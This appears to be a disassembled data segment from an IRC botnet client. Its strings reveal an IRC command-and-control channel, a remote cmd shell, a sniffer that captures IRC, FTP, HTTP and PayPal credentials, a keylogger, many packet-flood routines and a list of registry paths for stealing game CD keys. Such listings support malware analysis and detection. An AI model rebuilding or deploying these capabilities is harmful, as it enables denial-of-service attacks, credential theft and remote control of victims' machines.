aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 8
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+F2o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_412135+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_412135+6Eo
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_412135+45o
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4128A1+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_41D779+17Do
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0
align 4
aApplicationOct db 'application/octet-stream',0
align 10h
aTextHtml db 'text/html',0
align 4
unk_43484C db 2Dh ; - ; DATA XREF: seg000:00412DA6o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStartW db ' failed to start worker thread, error %d',0
align 4
unk_434884 db 2Dh ; - ; DATA XREF: seg000:00412D34o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_4348B8: ; DATA XREF: seg000:00412C80o
unicode 0, <*>,0
aS_9 db '\%s',0 ; DATA XREF: seg000:00412B59o
db 2Dh ; -
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_4348E8 db 0Dh,0Ah,0 ; DATA XREF: sub_41D235+E9o
align 4
aGet_1 db 'GET ',0
align 4
dword_4348F4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: seg000:0041339Do
aServerFailed_0 db '- server failed, returned %d',0
align 10h
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: seg000:00413330o
dword_434938 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: seg000:004132D8o
aClientConnecti db '- client connection from %s:%d.',0
align 8
unk_434968 db 2Dh ; - ; DATA XREF: seg000:004135DCo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0
unk_4349A8 db 2Dh ; - ; DATA XREF: seg000:00413566o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_37 db 'Failed to start client thread, error: <%d>.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
dword_434A70 dd 234032Dh, 676F6C72h, 2646E69h, 50202D03h, 6F746F72h
; DATA XREF: seg000:loc_41382Fo
dd 206C6F63h, 69727473h, 7420676Eh, 6C206F6Fh, 2E676E6Fh
dd 0
dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 55202D03h, 20726573h
dd 67676F6Ch, 6F206465h, 203A7475h, 4073253Ch, 2E3E7325h
dd 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6553203Ah, 6F697373h, 6E75526Eh, 203A2928h, 3E64253Ch
dd 2Eh, 234032Dh, 676F6C72h, 2646E69h, 55202D03h, 20726573h
dd 67676F6Ch, 69206465h, 3C203A6Eh, 25407325h, 2E3E73h
dd 6D726550h, 69737369h, 64206E6Fh, 65696E65h, 0A64h, 234032Dh
dd 676F6C72h, 2646E69h, 45202D03h, 726F7272h, 6567203Ah
dd 65657074h, 6D616E72h, 3A292865h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 45202D03h, 726F7272h, 6573203Ah
dd 72657672h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
unk_434CF8 db 2Dh ; - ; DATA XREF: sub_413CD4+BFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell, error: <%d>.',0
align 10h
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_413CD4+88o
align 4
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
unk_434D74 db 2Dh ; - ; DATA XREF: sub_413F5A+B2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell.',0
unk_434D9C db 2Dh ; - ; DATA XREF: sub_413F5A+82o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create shell stdin pipe, error: <%d>.',0
align 10h
unk_434DE0 db 2Dh ; - ; DATA XREF: sub_413F5A+5Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434E20 db 2Dh ; - ; DATA XREF: seg000:00414138o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 8
dword_434E58 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
; DATA XREF: seg000:004140AFo
; seg000:004140E5o
dd 6F742064h, 65726320h, 20657461h, 64616552h, 6C656853h
dd 6573206Ch, 6F697373h, 6874206Eh, 64616572h, 7265202Ch
dd 3A726F72h, 64253C20h, 2E3Eh, 234032Dh, 6B636F73h, 3023473h
dd 7245202Dh, 3A726F72h, 69614620h, 2064656Ch, 63206F74h
dd 656E6E6Fh, 74207463h, 6174206Fh, 74656772h, 6572202Ch
dd 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 234032Dh, 6B636F73h
dd 3023473h, 7245202Dh, 3A726F72h, 69614620h, 2064656Ch
dd 6F206F74h, 206E6570h, 6B636F73h, 29287465h, 6572202Ch
dd 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 234032Dh, 6B636F73h
dd 3023473h, 7541202Dh, 6E656874h, 61636974h, 6E6F6974h
dd 69616620h, 2E64656Ch, 6D655220h, 2065746Fh, 72657375h
dd 203A6469h, 21207325h, 7325203Dh, 2Eh, 234032Dh, 6B636F73h
dd 3023473h, 6146202Dh, 64656C69h, 206F7420h, 72617473h
dd 65732074h, 72657672h, 206E6F20h, 74726F50h, 2E642520h
dd 0
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 0
dd 234032Dh, 6B636F73h, 3023473h, 6C43202Dh, 746E6569h
dd 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h
dd 3A732520h, 202C6425h, 76726553h, 74207265h, 61657268h
dd 25203A64h, 2E64h, 4000500h, 7868746Bh, 0
dd 234032Dh, 70746674h, 2D030264h, 6C696620h, 65732065h
dd 7420746Eh, 7325206Fh, 0
db 2Dh ; -
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aSendingDataPac db ' sending data packets to %s',0
db 2Dh ; -
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToOpenFi db ' Failed to open file: %s.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0
align 10h
dword_4350D0 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: seg000:00414BC8o
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:00414BA2o
align 10h
aSReturnS db '%s (Return) (%s)',0
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0
align 4
aHttp_0 db 'HTTP',0 ; DATA XREF: seg002:00442244o
align 10h
aFtp db 'FTP',0 ; DATA XREF: seg002:00442240o
off_435154 dd offset aFailedReturned ; DATA XREF: seg002:0044223Co
; ") failed, returned %d"
dword_435158 dd 544F42h, 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
; DATA XREF: seg002:00442238o
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 6F73202Dh, 74656B63h
db 28h
aFailedReturned db ') failed, returned %d',0 ; DATA XREF: seg001:off_435154o
align 10h
aHashin db ':!hashin',0
align 4
a_hashin db ':.hashin',0
align 4
aIdent_0 db ':!ident',0
a_ident db ':.ident',0
a_login db ':.Login',0
aLogin_0 db ':!Login',0
aLogin_1 db ':!login',0
a_login_0 db ':.login',0
a366 db '366 ',0
align 10h
a302_0 db '302 ',0
align 4
aJoin_0 db 'JOIN #',0
align 10h
aPsniff_0 db 'PSNIFF//',0
align 4
aPsniff_1 db '[PSNIFF]:',0
align 4
aBotSniff db 'Bot sniff',0
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0
aOper db 'oper ',0
align 4
aNick_1 db 'NICK ',0
align 10h
aOper_0 db 'OPER ',0
align 4
aIrcSniff db 'IRC sniff',0
align 4
aPass_2 db 'PASS ',0
align 4
aUser_3 db 'USER ',0
align 4
a230 db '230 ',0
align 4
a220 db '220 ',0
align 4
aFtpSniff db 'FTP sniff',0
align 10h
aSetCookie db 'Set-Cookie:',0
aPaypal_com db 'paypal.com',0
align 4
aPaypal_com_0 db 'PAYPAL.COM',0
align 4
aPaypal db 'PAYPAL',0
align 4
aPaypal_0 db 'paypal',0
align 4
aHttpSniff db 'HTTP sniff',0
align 10h
aOpenssh_2 db 'OpenSSH_2',0
align 4
aServUFtpServer db 'Serv-U FTP Server',0
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0
align 10h
aVulnSniff db 'VULN sniff',0
align 4
dd 234032Dh, 66696E73h, 2726566h, 56202D03h, 204E4C55h
dd 66696E73h, 25222066h, 64253A73h, 6F742022h, 73252220h
dd 2264253Ah, 202D203Ah, 22732522h, 0
dd 234032Dh, 66696E73h, 2726566h, 48202D03h, 20505454h
dd 66696E73h, 25222066h, 64253A73h, 6F742022h, 73252220h
dd 2264253Ah, 202D203Ah, 22732522h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
dword_435534 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_415825+31Fo
dd 203A726Fh, 6425h
unk_435550 db 2Dh ; - ; DATA XREF: seg000:00415C33o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
unk_435578 db 2Dh ; - ; DATA XREF: seg000:00415F64o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 10h
unk_4355C0 db 2Dh ; - ; DATA XREF: seg000:00415EFDo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
unk_43560C db 2Dh ; - ; DATA XREF: seg000:00415D41o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
unk_43562C db 2Dh ; - ; DATA XREF: seg000:00415D19o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
dword_43565C dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
; DATA XREF: seg000:00415CD4o
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSendin db '- finished sending packets to %s',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 10h
dword_435730 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: seg000:00416456o
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
unk_43575C db 2Dh ; - ; DATA XREF: sub_4164A9+29Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
unk_43577C db 2Dh ; - ; DATA XREF: seg000:0041681Eo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
dword_4357A4 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: seg000:00416ACBo
aDoneWithFlood_ db '- Done with flood.',0
align 8
unk_4357C8 db 2Dh ; - ; DATA XREF: seg000:00416EF3o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
unk_435818 db 2Dh ; - ; DATA XREF: seg000:00416E89o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
unk_435868 db 2Dh ; - ; DATA XREF: seg000:00416BE4o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
unk_435888 db 2Dh ; - ; DATA XREF: seg000:00416BC5o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 10h
unk_4358C0 db 2Dh ; - ; DATA XREF: seg000:00416B84o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketF_0 db '- Error: socket() failed, returned: <%d>.',0
align 4
unk_4358F4 db 2Dh ; - ; DATA XREF: seg000:0041721Co
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
unk_435928 db 2Dh ; - ; DATA XREF: sub_417272+371o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
align 8
unk_4359B8 db 2Dh ; - ; DATA XREF: sub_417272+31Fo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_0 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
unk_435A1C db 2Dh ; - ; DATA XREF: sub_417272+F5o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
unk_435A48 db 2Dh ; - ; DATA XREF: sub_417272+7Co
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
align 10h
unk_435A90 db 2Dh ; - ; DATA XREF: sub_417272+5Fo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 10h
unk_435AE0 db 2Dh ; - ; DATA XREF: sub_417272+29o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
unk_435B0C db 2Dh ; - ; DATA XREF: seg000:0041763Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
aSD db '%s%d ',0 ; DATA XREF: sub_41776E+1EAo
align 4
unk_435B54 db 2Dh ; - ; DATA XREF: seg000:00417C25o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 10h
dword_435B80 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_417CF8+35o
dword_435B94 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_417CF8+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_417D70+60o
align 4
dword_435BCC dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_417E10:loc_417E45o
dword_435BE0 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h, 234032Dh
; DATA XREF: sub_417E10+20o
dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch
dd 0
dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_417F75+12o
aWindow db 'Window',0 ; DATA XREF: sub_4181B2+23o
; sub_4183AB+26o
align 4
aKey3 db 'Key3=',0
align 4
aNeverwinterNig db 'Neverwinter Nights (Hordes of the Underdark)',0
align 4
aKey2 db 'Key2=',0
align 4
aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0
align 4
aKey1 db 'Key1=',0
align 10h
aNwncdkey_ini db 'nwncdkey.ini',0
align 10h
aNeverwinterN_1 db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 10h
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 10h
aInstallpath db 'InstallPath',0
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 10h
aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
aSoftwareTechla db 'Software\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
aSoftwareWest_0 db 'Software\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
aSoftwareWest_1 db 'Software\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 10h
aSoftwareWest_2 db 'Software\Westwood\Tiberian Sun',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 10h
aSoftwareElectr db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 10h
aSoftwareElec_0 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
aSoftwareElec_1 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
aSoftwareElec_2 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
aSoftwareElec_3 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
aSoftwareElec_4 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 8
aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 4
aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 10h
aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 10h
aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 10h
aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 10h
aBlackAndWhite db 'Black and White',0
aSoftwareEle_15 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
aSoftwareEle_16 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 8
aSoftwareEle_17 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
aSoftwareEle_18 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
aSoftwareEle_19 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
